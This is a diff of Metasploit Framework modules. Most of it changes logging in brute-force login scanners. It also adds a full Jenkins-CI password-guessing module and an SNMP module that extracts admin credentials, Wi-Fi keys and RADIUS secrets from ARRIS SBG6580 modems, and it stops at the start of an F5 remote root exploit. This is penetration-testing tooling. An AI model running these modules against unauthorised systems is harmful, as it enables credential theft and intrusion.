OptString.new('TARGETURI', [true, 'The URI path of the GlassFish Server', '/']),
|
||||
OptString.new('USERNAME',[true, 'A specific username to authenticate as','admin']),
|
||||
OptBool.new('SSL', [false, 'Negotiate SSL for outgoing connections', false]),
|
||||
OptEnum.new('SSLVersion', [false, 'Specify the version of SSL that should be used', 'TLS1', ['SSL2', 'SSL3', 'TLS1']])
|
||||
|
@ -97,7 +97,6 @@ class Metasploit3 < Msf::Auxiliary
|
|||
@scanner = Metasploit::Framework::LoginScanner::Glassfish.new(
|
||||
host: ip,
|
||||
port: rport,
|
||||
uri: datastore['URI'],
|
||||
proxies: datastore["PROXIES"],
|
||||
cred_details: @cred_collection,
|
||||
stop_on_success: datastore['STOP_ON_SUCCESS'],
|
||||
|
@ -148,7 +147,9 @@ class Metasploit3 < Msf::Auxiliary
|
|||
do_report(ip, rport, result)
|
||||
:next_user
|
||||
when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
|
||||
print_brute :level => :verror, :ip => ip, :msg => "Could not connect"
|
||||
if datastore['VERBOSE']
|
||||
print_brute :level => :verror, :ip => ip, :msg => "Could not connect"
|
||||
end
|
||||
invalidate_login(
|
||||
address: ip,
|
||||
port: rport,
|
||||
|
@ -161,7 +162,9 @@ class Metasploit3 < Msf::Auxiliary
|
|||
)
|
||||
:abort
|
||||
when Metasploit::Model::Login::Status::INCORRECT
|
||||
print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'"
|
||||
if datastore['VERBOSE']
|
||||
print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'"
|
||||
end
|
||||
invalidate_login(
|
||||
address: ip,
|
||||
port: rport,
|
||||
|
|
|
@ -125,7 +125,9 @@ class Metasploit3 < Msf::Auxiliary
|
|||
do_report(ip, rport, result)
|
||||
:next_user
|
||||
when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
|
||||
print_brute :level => :verror, :ip => ip, :msg => "Could not connect"
|
||||
if datastore['VERBOSE']
|
||||
print_brute :level => :verror, :ip => ip, :msg => "Could not connect"
|
||||
end
|
||||
invalidate_login(
|
||||
address: ip,
|
||||
port: rport,
|
||||
|
@ -138,7 +140,9 @@ class Metasploit3 < Msf::Auxiliary
|
|||
)
|
||||
:abort
|
||||
when Metasploit::Model::Login::Status::INCORRECT
|
||||
print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'"
|
||||
if datastore['VERBOSE']
|
||||
print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'"
|
||||
end
|
||||
invalidate_login(
|
||||
address: ip,
|
||||
port: rport,
|
||||
|
|
|
@ -164,11 +164,15 @@ class Metasploit3 < Msf::Auxiliary
|
|||
create_credential_login(credential_data)
|
||||
:next_user
|
||||
when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
|
||||
print_brute :level => :verror, :ip => ip, :msg => "Could not connect"
|
||||
if datastore['VERBOSE']
|
||||
print_brute :level => :verror, :ip => ip, :msg => "Could not connect"
|
||||
end
|
||||
invalidate_login(credential_data)
|
||||
:abort
|
||||
when Metasploit::Model::Login::Status::INCORRECT
|
||||
print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'"
|
||||
if datastore['VERBOSE']
|
||||
print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'"
|
||||
end
|
||||
invalidate_login(credential_data)
|
||||
end
|
||||
end
|
||||
|
|
|
@ -63,11 +63,15 @@ class Metasploit3 < Msf::Auxiliary
|
|||
create_credential_login(credential_data)
|
||||
:next_user
|
||||
when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
|
||||
print_brute :level => :verror, :ip => ip, :msg => "Could not connect"
|
||||
if datastore['VERBOSE']
|
||||
print_brute :level => :verror, :ip => ip, :msg => "Could not connect"
|
||||
end
|
||||
invalidate_login(credential_data)
|
||||
:abort
|
||||
when Metasploit::Model::Login::Status::INCORRECT
|
||||
print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'"
|
||||
if datastore['VERBOSE']
|
||||
print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'"
|
||||
end
|
||||
invalidate_login(credential_data)
|
||||
end
|
||||
end
|
||||
|
|
|
@ -0,0 +1,74 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'metasploit/framework/credential_collection'
|
||||
require 'metasploit/framework/login_scanner/jenkins'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::AuthBrute
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Jenkins-CI Login Utility',
|
||||
'Description' => 'This module attempts to login to a Jenkins-CI instance using a specific user/pass.',
|
||||
'Author' => [ 'Nicholas Starke <starke.nicholas[at]gmail.com>' ],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(8080)
|
||||
], self.class)
|
||||
|
||||
register_autofilter_ports([ 80, 443, 8080, 8081, 8000 ])
|
||||
|
||||
deregister_options('RHOST')
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
cred_collection = Metasploit::Framework::CredentialCollection.new(
|
||||
blank_passwords: datastore['BLANK_PASSWORDS'],
|
||||
pass_file: datastore['PASS_FILE'],
|
||||
password: datastore['PASSWORD'],
|
||||
user_file: datastore['USER_FILE'],
|
||||
userpass_file: datastore['USERPASS_FILE'],
|
||||
username: datastore['USERNAME'],
|
||||
user_as_pass: datastore['USER_AS_PASS']
|
||||
)
|
||||
|
||||
scanner = Metasploit::Framework::LoginScanner::Jenkins.new(
|
||||
host: ip,
|
||||
port: rport,
|
||||
proxies: datastore['PROXIES'],
|
||||
cred_details: cred_collection,
|
||||
stop_on_success: datastore['STOP_ON_SUCCESS'],
|
||||
connection_timeout: 10,
|
||||
user_agent: datastore['UserAgent'],
|
||||
vhost: datastore['VHOST']
|
||||
)
|
||||
|
||||
scanner.scan! do |result|
|
||||
credential_data = result.to_h
|
||||
credential_data.merge!(
|
||||
module_fullname: fullname,
|
||||
workspace_id: myworkspace_id
|
||||
)
|
||||
if result.success?
|
||||
credential_core = create_credential(credential_data)
|
||||
credential_data[:core] = credential_core
|
||||
create_credential_login(credential_data)
|
||||
|
||||
print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}"
|
||||
else
|
||||
invalidate_login(credential_data)
|
||||
vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status})"
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -130,7 +130,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}"
|
||||
else
|
||||
invalidate_login(credential_data)
|
||||
print_status "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})"
|
||||
vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})"
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -108,11 +108,15 @@ class Metasploit3 < Msf::Auxiliary
|
|||
create_credential_login(credential_data)
|
||||
:next_user
|
||||
when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
|
||||
print_brute :level => :verror, :ip => ip, :msg => "Could not connect"
|
||||
if datastore['VERBOSE']
|
||||
print_brute :level => :verror, :ip => ip, :msg => "Could not connect"
|
||||
end
|
||||
invalidate_login(credential_data)
|
||||
:abort
|
||||
when Metasploit::Model::Login::Status::INCORRECT
|
||||
print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'"
|
||||
if datastore['VERBOSE']
|
||||
print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'"
|
||||
end
|
||||
invalidate_login(credential_data)
|
||||
end
|
||||
end
|
||||
|
|
|
@ -69,7 +69,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}"
|
||||
else
|
||||
invalidate_login(credential_data)
|
||||
print_status "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})"
|
||||
vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})"
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -72,15 +72,15 @@ class Metasploit3 < Msf::Auxiliary
|
|||
print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}"
|
||||
else
|
||||
invalidate_login(credential_data)
|
||||
print_status "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})"
|
||||
vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})"
|
||||
end
|
||||
end
|
||||
|
||||
else
|
||||
print_error "#{target} - Unsupported target version of MySQL detected. Skipping."
|
||||
vprint_error "#{target} - Unsupported target version of MySQL detected. Skipping."
|
||||
end
|
||||
rescue ::Rex::ConnectionError, ::EOFError => e
|
||||
print_error "#{target} - Unable to connect: #{e.to_s}"
|
||||
vprint_error "#{target} - Unable to connect: #{e.to_s}"
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -87,9 +87,13 @@ class Metasploit3 < Msf::Auxiliary
|
|||
create_credential_login(credential_data)
|
||||
next
|
||||
when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
|
||||
print_brute :level => :verror, :ip => ip, :msg => "Could not connect"
|
||||
if datastore['VERBOSE']
|
||||
print_brute :level => :verror, :ip => ip, :msg => "Could not connect"
|
||||
end
|
||||
when Metasploit::Model::Login::Status::INCORRECT
|
||||
print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}', '#{result.proof.to_s.chomp}'"
|
||||
if datastore['VERBOSE']
|
||||
print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}', '#{result.proof.to_s.chomp}'"
|
||||
end
|
||||
end
|
||||
|
||||
# If we got here, it didn't work
|
||||
|
|
|
@ -85,7 +85,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}"
|
||||
else
|
||||
invalidate_login(credential_data)
|
||||
print_status "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})"
|
||||
vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})"
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -112,7 +112,9 @@ class Metasploit3 < Msf::Auxiliary
|
|||
report_creds(ip, rport, result)
|
||||
:next_user
|
||||
when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
|
||||
print_brute :level => :verror, :ip => ip, :msg => "Could not connect"
|
||||
if datastore['VERBOSE']
|
||||
print_brute :level => :verror, :ip => ip, :msg => "Could not connect"
|
||||
end
|
||||
invalidate_login(
|
||||
address: ip,
|
||||
port: rport,
|
||||
|
@ -125,7 +127,9 @@ class Metasploit3 < Msf::Auxiliary
|
|||
)
|
||||
:abort
|
||||
when Metasploit::Model::Login::Status::INCORRECT
|
||||
print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}', #{result.proof}"
|
||||
if datastore['VERBOSE']
|
||||
print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}', #{result.proof}"
|
||||
end
|
||||
invalidate_login(
|
||||
address: ip,
|
||||
port: rport,
|
||||
|
|
|
@ -0,0 +1,315 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::SNMPClient
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'ARRIS / Motorola SBG6580 Cable Modem SNMP Enumeration Module',
|
||||
'Description' => 'This module allows SNMP enumeration of the ARRIS / Motorola
|
||||
SURFboard SBG6580 Series Wi-Fi Cable Modem Gateway. It supports the username
|
||||
and password for the device user interface as well as wireless network keys
|
||||
and information.
|
||||
The default community used is "public".',
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://seclists.org/fulldisclosure/2014/May/79' ],
|
||||
[ 'URL', 'http://www.arrisi.com/modems/datasheet/SBG6580/SBG6580_UserGuide.pdf' ],
|
||||
[ 'OSVDB', '110555' ]
|
||||
],
|
||||
'Author' => 'Matthew Kienow <mkienow[at]inokii.com>',
|
||||
'License' => MSF_LICENSE
|
||||
))
|
||||
|
||||
# change SNMP version option to match device specification
|
||||
register_options(
|
||||
[
|
||||
OptString.new('VERSION', [ true, 'SNMP Version <1/2c>', '2c' ])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
|
||||
begin
|
||||
snmp = connect_snmp
|
||||
|
||||
# represents the order of the output data fields
|
||||
fields_order = [
|
||||
"Host IP", "Username", "Password", "SSID", "802.11 Band",
|
||||
"Network Authentication Mode", "WEP Passphrase", "WEP Encryption",
|
||||
"WEP Key 1", "WEP Key 2", "WEP Key 3", "WEP Key 4",
|
||||
"Current Network Key", "WPA Encryption", "WPA Pre-Shared Key (PSK)",
|
||||
"RADIUS Server", "RADIUS Port", "RADIUS Key"
|
||||
]
|
||||
|
||||
output_data = {"Host IP" => ip}
|
||||
|
||||
sys_descr = snmp.get_value('sysDescr.0')
|
||||
if is_valid_snmp_value(sys_descr) and sys_descr.to_s =~ /SBG6580/
|
||||
# print connected status after the first query so if there are
|
||||
# any timeout or connectivity errors; the code would already
|
||||
# have jumped to error handling where the error status is
|
||||
# already being displayed.
|
||||
print_good("#{ip}, Connected.")
|
||||
|
||||
# attempt to get the username and password for the device user interface
|
||||
# using the CableHome cabhPsDevMib MIB module which defines the
|
||||
# basic management objects for the Portal Services (PS) logical element
|
||||
# of a CableHome compliant Residential Gateway device
|
||||
device_ui_selection = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.3.0')
|
||||
if is_valid_snmp_value(device_ui_selection) and device_ui_selection.to_i == 1
|
||||
# manufacturerLocal(1) - indicates Portal Services is using the vendor
|
||||
# web user interface shipped with the device
|
||||
device_ui_username = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.1.0')
|
||||
if is_valid_snmp_value(device_ui_username)
|
||||
output_data["Username"] = device_ui_username.to_s
|
||||
end
|
||||
|
||||
device_ui_password = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.2.0')
|
||||
if is_valid_snmp_value(device_ui_password)
|
||||
output_data["Password"] = device_ui_password.to_s
|
||||
end
|
||||
end
|
||||
|
||||
wifi_ifindex = get_primary_wifi_ifindex(snmp)
|
||||
if wifi_ifindex < 1
|
||||
print_status("Primary WiFi is disabled on the device")
|
||||
end
|
||||
|
||||
ssid = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.3.#{wifi_ifindex}")
|
||||
if is_valid_snmp_value(ssid)
|
||||
output_data["SSID"] = ssid.to_s
|
||||
end
|
||||
|
||||
wireless_band = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.1.18.0')
|
||||
if is_valid_snmp_value(wireless_band)
|
||||
output_data["802.11 Band"] = get_wireless_band_name(wireless_band.to_i)
|
||||
end
|
||||
|
||||
network_auth_mode = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.5.#{wifi_ifindex}")
|
||||
if is_valid_snmp_value(network_auth_mode)
|
||||
network_auth_mode = network_auth_mode.to_i
|
||||
network_auth_mode_name = get_network_auth_mode_name(network_auth_mode)
|
||||
output_data["Network Authentication Mode"] = network_auth_mode_name
|
||||
end
|
||||
|
||||
case network_auth_mode
|
||||
when 1, 6
|
||||
# WEP, WEP 802.1x Authentication
|
||||
wep_passphrase = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.1.1.3.#{wifi_ifindex}")
|
||||
if is_valid_snmp_value(wep_passphrase)
|
||||
output_data["WEP Passphrase"] = wep_passphrase.to_s
|
||||
end
|
||||
|
||||
wep_encryption = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.1.1.2.#{wifi_ifindex}")
|
||||
if is_valid_snmp_value(wep_encryption)
|
||||
wep_encryption = wep_encryption.to_i
|
||||
else
|
||||
wep_encryption = -1
|
||||
end
|
||||
|
||||
wep_encryption_name = "Unknown"
|
||||
wep_key1 = wep_key2 = wep_key3 = wep_key4 = nil
|
||||
# get appropriate WEP keys based on wep_encryption setting
|
||||
if wep_encryption == 1
|
||||
wep_encryption_name = "64-bit"
|
||||
wep_key1 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.2.1.2.#{wifi_ifindex}.1")
|
||||
wep_key2 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.2.1.2.#{wifi_ifindex}.2")
|
||||
wep_key3 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.2.1.2.#{wifi_ifindex}.3")
|
||||
wep_key4 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.2.1.2.#{wifi_ifindex}.4")
|
||||
elsif wep_encryption == 2
|
||||
wep_encryption_name = "128-bit"
|
||||
wep_key1 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.3.1.2.#{wifi_ifindex}.1")
|
||||
wep_key2 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.3.1.2.#{wifi_ifindex}.2")
|
||||
wep_key3 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.3.1.2.#{wifi_ifindex}.3")
|
||||
wep_key4 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.3.1.2.#{wifi_ifindex}.4")
|
||||
end
|
||||
|
||||
output_data["WEP Encryption"] = wep_encryption_name
|
||||
if is_valid_snmp_value(wep_key1)
|
||||
output_data["WEP Key 1"] = wep_key1.unpack('H*')[0]
|
||||
end
|
||||
if is_valid_snmp_value(wep_key2)
|
||||
output_data["WEP Key 2"] = wep_key2.unpack('H*')[0]
|
||||
end
|
||||
if is_valid_snmp_value(wep_key3)
|
||||
output_data["WEP Key 3"] = wep_key3.unpack('H*')[0]
|
||||
end
|
||||
if is_valid_snmp_value(wep_key4)
|
||||
output_data["WEP Key 4"] = wep_key4.unpack('H*')[0]
|
||||
end
|
||||
|
||||
# get current network key
|
||||
current_key = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.1.1.1.#{wifi_ifindex}")
|
||||
if is_valid_snmp_value(current_key)
|
||||
output_data["Current Network Key"] = current_key.to_s
|
||||
end
|
||||
|
||||
if network_auth_mode == 6
|
||||
get_radius_info(snmp, wifi_ifindex, output_data)
|
||||
end
|
||||
|
||||
when 2, 3, 4, 5, 7, 8
|
||||
# process all flavors of WPA
|
||||
wpa_encryption = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.4.1.1.#{wifi_ifindex}")
|
||||
if is_valid_snmp_value(wpa_encryption)
|
||||
output_data["WPA Encryption"] = get_wpa_encryption_name(wpa_encryption.to_i)
|
||||
end
|
||||
|
||||
wpa_psk = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.4.1.2.#{wifi_ifindex}")
|
||||
if is_valid_snmp_value(wpa_psk)
|
||||
output_data["WPA Pre-Shared Key (PSK)"] = wpa_psk.to_s
|
||||
end
|
||||
|
||||
case network_auth_mode
|
||||
when 4, 5, 8
|
||||
get_radius_info(snmp, wifi_ifindex, output_data)
|
||||
end
|
||||
end
|
||||
|
||||
# output
|
||||
print_line("")
|
||||
print_status("Device information:\n")
|
||||
line = ""
|
||||
width = 30 # name field width
|
||||
|
||||
fields_order.each {|k|
|
||||
if not output_data.has_key?(k)
|
||||
next
|
||||
end
|
||||
|
||||
v = output_data[k]
|
||||
if (v.nil? or v.empty? or v =~ /Null/)
|
||||
v = '-'
|
||||
end
|
||||
|
||||
report_note(
|
||||
:host => ip,
|
||||
:proto => 'udp',
|
||||
:sname => 'snmp',
|
||||
:port => datastore['RPORT'].to_i,
|
||||
:type => "snmp.#{k}",
|
||||
:data => v
|
||||
)
|
||||
|
||||
line << sprintf("%s%s: %s\n", k, " "*([0,width-k.length].max), v)
|
||||
}
|
||||
|
||||
print_line(line)
|
||||
else
|
||||
print_error("#{ip} does not appear to be a SBG6580.")
|
||||
end
|
||||
|
||||
rescue SNMP::RequestTimeout
|
||||
print_error("#{ip} SNMP request timeout.")
|
||||
rescue Rex::ConnectionError
|
||||
print_error("#{ip} Connection refused.")
|
||||
rescue SNMP::InvalidIpAddress
|
||||
print_error("#{ip} Invalid IP Address. Check it with 'snmpwalk tool'.")
|
||||
rescue SNMP::UnsupportedVersion
|
||||
print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.")
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Exception => e
|
||||
print_error("Unknown error: #{e.class} #{e}")
|
||||
elog("Unknown error: #{e.class} #{e}")
|
||||
elog("Call stack:\n#{e.backtrace.join "\n"}")
|
||||
ensure
|
||||
disconnect_snmp
|
||||
end
|
||||
end
|
||||
|
||||
def get_primary_wifi_ifindex(snmp)
|
||||
# The ifTable contains interface entries where each row represents
|
||||
# management information for a particular interface. Locate the first
|
||||
# interface where ifType is 71 (ieee80211) and ifAdminStatus is 1 (up).
|
||||
wifi_ifindex = 0
|
||||
ifTable_columns = ["ifIndex", "ifDescr", "ifType", "ifAdminStatus"]
|
||||
snmp.walk(ifTable_columns) do |ifIndex, ifDescr, ifType, ifAdminStatus|
|
||||
if (wifi_ifindex < 1 and ifType.value == 71 and ifAdminStatus.value == 1)
|
||||
wifi_ifindex = ifIndex.value.to_i
|
||||
end
|
||||
end
|
||||
wifi_ifindex
|
||||
end
|
||||
|
||||
def is_valid_snmp_value(value)
|
||||
if value.nil? or value.to_s =~ /Null/ or value.to_s =~ /^noSuch/
|
||||
return false
|
||||
end
|
||||
return true
|
||||
end
|
||||
|
||||
def get_network_auth_mode_name(network_auth_mode)
|
||||
case network_auth_mode
|
||||
when 0
|
||||
"Open Security"
|
||||
when 1
|
||||
"WEP"
|
||||
when 2
|
||||
"WPA-PSK"
|
||||
when 3
|
||||
"WPA2-PSK"
|
||||
when 4
|
||||
"WPA RADIUS"
|
||||
when 5
|
||||
"WPA2 RADIUS"
|
||||
when 6
|
||||
"WEP 802.1x Authentication"
|
||||
when 7
|
||||
"WPA-PSK and WPA2-PSK"
|
||||
when 8
|
||||
"WPA and WPA2 RADIUS"
|
||||
else
|
||||
"Unknown"
|
||||
end
|
||||
end
|
||||
|
||||
def get_wireless_band_name(wireless_band)
|
||||
case wireless_band
|
||||
when 1
|
||||
"2.4 Ghz"
|
||||
when 2
|
||||
"5 Ghz"
|
||||
else
|
||||
"Unknown"
|
||||
end
|
||||
end
|
||||
|
||||
def get_wpa_encryption_name(wpa_encryption)
|
||||
case wpa_encryption
|
||||
when 2
|
||||
"AES"
|
||||
when 3
|
||||
"TKIP+AES"
|
||||
else
|
||||
"Unknown"
|
||||
end
|
||||
end
|
||||
|
||||
def get_radius_info(snmp, wifi_ifindex, output_data)
|
||||
radius_server = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.5.1.2.#{wifi_ifindex}")
|
||||
if is_valid_snmp_value(radius_server)
|
||||
output_data["RADIUS Server"] = radius_server.unpack("C4").join(".")
|
||||
end
|
||||
|
||||
radius_port = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.5.1.3.#{wifi_ifindex}")
|
||||
if is_valid_snmp_value(radius_port)
|
||||
output_data["RADIUS Port"] = radius_port.to_s.strip
|
||||
end
|
||||
|
||||
radius_key = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.5.1.4.#{wifi_ifindex}")
|
||||
if is_valid_snmp_value(radius_key)
|
||||
output_data["RADIUS Key"] = radius_key.to_s
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -77,7 +77,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}"
|
||||
else
|
||||
invalidate_login(credential_data)
|
||||
print_status "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})"
|
||||
vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})"
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -132,12 +132,16 @@ class Metasploit3 < Msf::Auxiliary
|
|||
session_setup(result, scanner.ssh_socket)
|
||||
:next_user
|
||||
when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
|
||||
print_brute :level => :verror, :ip => ip, :msg => "Could not connect"
|
||||
if datastore['VERBOSE']
|
||||
print_brute :level => :verror, :ip => ip, :msg => "Could not connect"
|
||||
end
|
||||
scanner.ssh_socket.close if scanner.ssh_socket && !scanner.ssh_socket.closed?
|
||||
invalidate_login(credential_data)
|
||||
:abort
|
||||
when Metasploit::Model::Login::Status::INCORRECT
|
||||
print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'"
|
||||
if datastore['VERBOSE']
|
||||
print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'"
|
||||
end
|
||||
invalidate_login(credential_data)
|
||||
scanner.ssh_socket.close if scanner.ssh_socket && !scanner.ssh_socket.closed?
|
||||
else
|
||||
|
|
|
@ -223,12 +223,16 @@ class Metasploit3 < Msf::Auxiliary
|
|||
session_setup(result, scanner.ssh_socket)
|
||||
:next_user
|
||||
when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
|
||||
print_brute :level => :verror, :ip => ip, :msg => "Could not connect"
|
||||
if datastore['VERBOSE']
|
||||
print_brute :level => :verror, :ip => ip, :msg => "Could not connect"
|
||||
end
|
||||
scanner.ssh_socket.close if scanner.ssh_socket && !scanner.ssh_socket.closed?
|
||||
invalidate_login(credential_data)
|
||||
:abort
|
||||
when Metasploit::Model::Login::Status::INCORRECT
|
||||
print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'"
|
||||
if datastore['VERBOSE']
|
||||
print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'"
|
||||
end
|
||||
invalidate_login(credential_data)
|
||||
scanner.ssh_socket.close if scanner.ssh_socket && !scanner.ssh_socket.closed?
|
||||
else
|
||||
|
|
|
@ -84,7 +84,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
start_telnet_session(ip,rport,result.credential.public,result.credential.private,scanner)
|
||||
else
|
||||
invalidate_login(credential_data)
|
||||
print_status "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})"
|
||||
vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})"
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -89,11 +89,15 @@ class Metasploit3 < Msf::Auxiliary
|
|||
create_credential_login(credential_data)
|
||||
:next_user
|
||||
when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
|
||||
print_brute :level => :verror, :ip => ip, :msg => 'Could not connect'
|
||||
if datastore['VERBOSE']
|
||||
print_brute :level => :verror, :ip => ip, :msg => 'Could not connect'
|
||||
end
|
||||
invalidate_login(credential_data)
|
||||
:abort
|
||||
when Metasploit::Model::Login::Status::INCORRECT
|
||||
print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}' #{result.proof}"
|
||||
if datastore['VERBOSE']
|
||||
print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}' #{result.proof}"
|
||||
end
|
||||
invalidate_login(credential_data)
|
||||
end
|
||||
end
|
||||
|
|
|
@ -93,7 +93,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}"
|
||||
else
|
||||
invalidate_login(credential_data)
|
||||
print_status "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})"
|
||||
vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})"
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -76,7 +76,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}"
|
||||
else
|
||||
invalidate_login(credential_data)
|
||||
print_status "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})"
|
||||
vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})"
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -0,0 +1,143 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "F5 iControl Remote Root Command Execution",
|
||||
'Description' => %q{
|
||||
